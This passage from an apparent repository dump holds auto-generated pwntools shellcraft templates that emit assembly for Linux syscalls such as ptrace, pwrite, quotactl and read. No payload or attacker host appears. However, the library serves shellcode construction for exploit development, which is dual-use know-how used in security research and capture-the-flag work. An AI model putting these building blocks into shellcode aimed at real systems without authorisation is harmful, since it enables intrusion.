name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ptrace']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ptrace'])\n%>\n    /* ptrace(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/putpmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>putpmsg(fildes, ctlptr, dataptr, band, flags) -> str\n\nInvokes the syscall putpmsg.\n\nSee 'man 2 putpmsg' for more information.\n\nArguments:\n    fildes(int): fildes\n    ctlptr(strbuf*): ctlptr\n    dataptr(strbuf*): dataptr\n    band(int): band\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fildes=0, ctlptr=0, dataptr=0, band=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fildes', 'ctlptr', 'dataptr', 'band', 'flags']\n    argument_values = [fildes, ctlptr, dataptr, band, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_putpmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_putpmsg'])\n%>\n    /* putpmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pwrite.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pwrite(fd, buf, n, offset) -> str\n\nInvokes the syscall pwrite.\n\nSee 'man 2 pwrite' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\n    offset(off_t): offset\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0, offset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n', 'offset']\n    argument_values = [fd, buf, n, offset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pwrite']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pwrite'])\n%>\n    /* pwrite(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pwrite64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pwrite64(fd, buf, n, offset) -> str\n\nInvokes the syscall pwrite64.\n\nSee 'man 2 pwrite64' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\n    offset(off64_t): offset\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0, offset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n', 'offset']\n    argument_values = [fd, buf, n, offset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pwrite64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pwrite64'])\n%>\n    /* pwrite64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pwritev.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pwritev(fd, iovec, count, offset) -> str\n\nInvokes the syscall pwritev.\n\nSee 'man 2 pwritev' for more information.\n\nArguments:\n    fd(int): fd\n    iovec(iovec*): iovec\n    count(int): count\n    offset(off_t): offset\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, iovec=0, count=0, offset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'iovec', 'count', 'offset']\n    argument_values = [fd, iovec, count, offset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pwritev']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pwritev'])\n%>\n    /* pwritev(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pwritev2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pwritev2(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pwritev2.\n\nSee 'man 2 pwritev2' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pwritev2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pwritev2'])\n%>\n    /* pwritev2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/query_module.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>query_module(name, which, buf, bufsize, ret) -> str\n\nInvokes the syscall query_module.\n\nSee 'man 2 query_module' for more information.\n\nArguments:\n    name(char*): name\n    which(int): which\n    buf(void*): buf\n    bufsize(size_t): bufsize\n    ret(size_t*): ret\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0, which=0, buf=0, bufsize=0, ret=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name', 'buf']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'which', 'buf', 'bufsize', 'ret']\n    argument_values = [name, which, buf, bufsize, ret]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_query_module']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_query_module'])\n%>\n    /* query_module(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/quotactl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>quotactl(cmd, special, id, addr) -> str\n\nInvokes the syscall quotactl.\n\nSee 'man 2 quotactl' for more information.\n\nArguments:\n    cmd(int): cmd\n    special(char*): special\n    id(int): id\n    addr(caddr_t): addr\nReturns:\n    int\n</%docstring>\n<%page args=\"cmd=0, special=0, id=0, addr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['special']\n    can_pushstr_array = []\n\n    argument_names = ['cmd', 'special', 'id', 'addr']\n    argument_values = [cmd, special, id, addr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_quotactl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_quotactl'])\n%>\n    /* quotactl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/read.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>read(fd, buf, nbytes) -> str\n\nInvokes the syscall read.\n\nSee 'man 2 read' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    nbytes(size_t): nbytes\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, nbytes=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'nbytes']\n    argument_values = [fd, buf, nbytes]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_read']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_read'])\n%>\n    /* read(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/readahead.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>readahead(fd, offset, count) -> str\n\nInvokes the syscall readahead.\n\nSee 'man 2 readahead' for more information.\n\nArguments:\n    fd(int): fd\n    offset(off64_t): offset\n    count(size_t): count\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, offset=0, count=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'offset', 'count']\n    argument_values = [fd, offset, count]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = 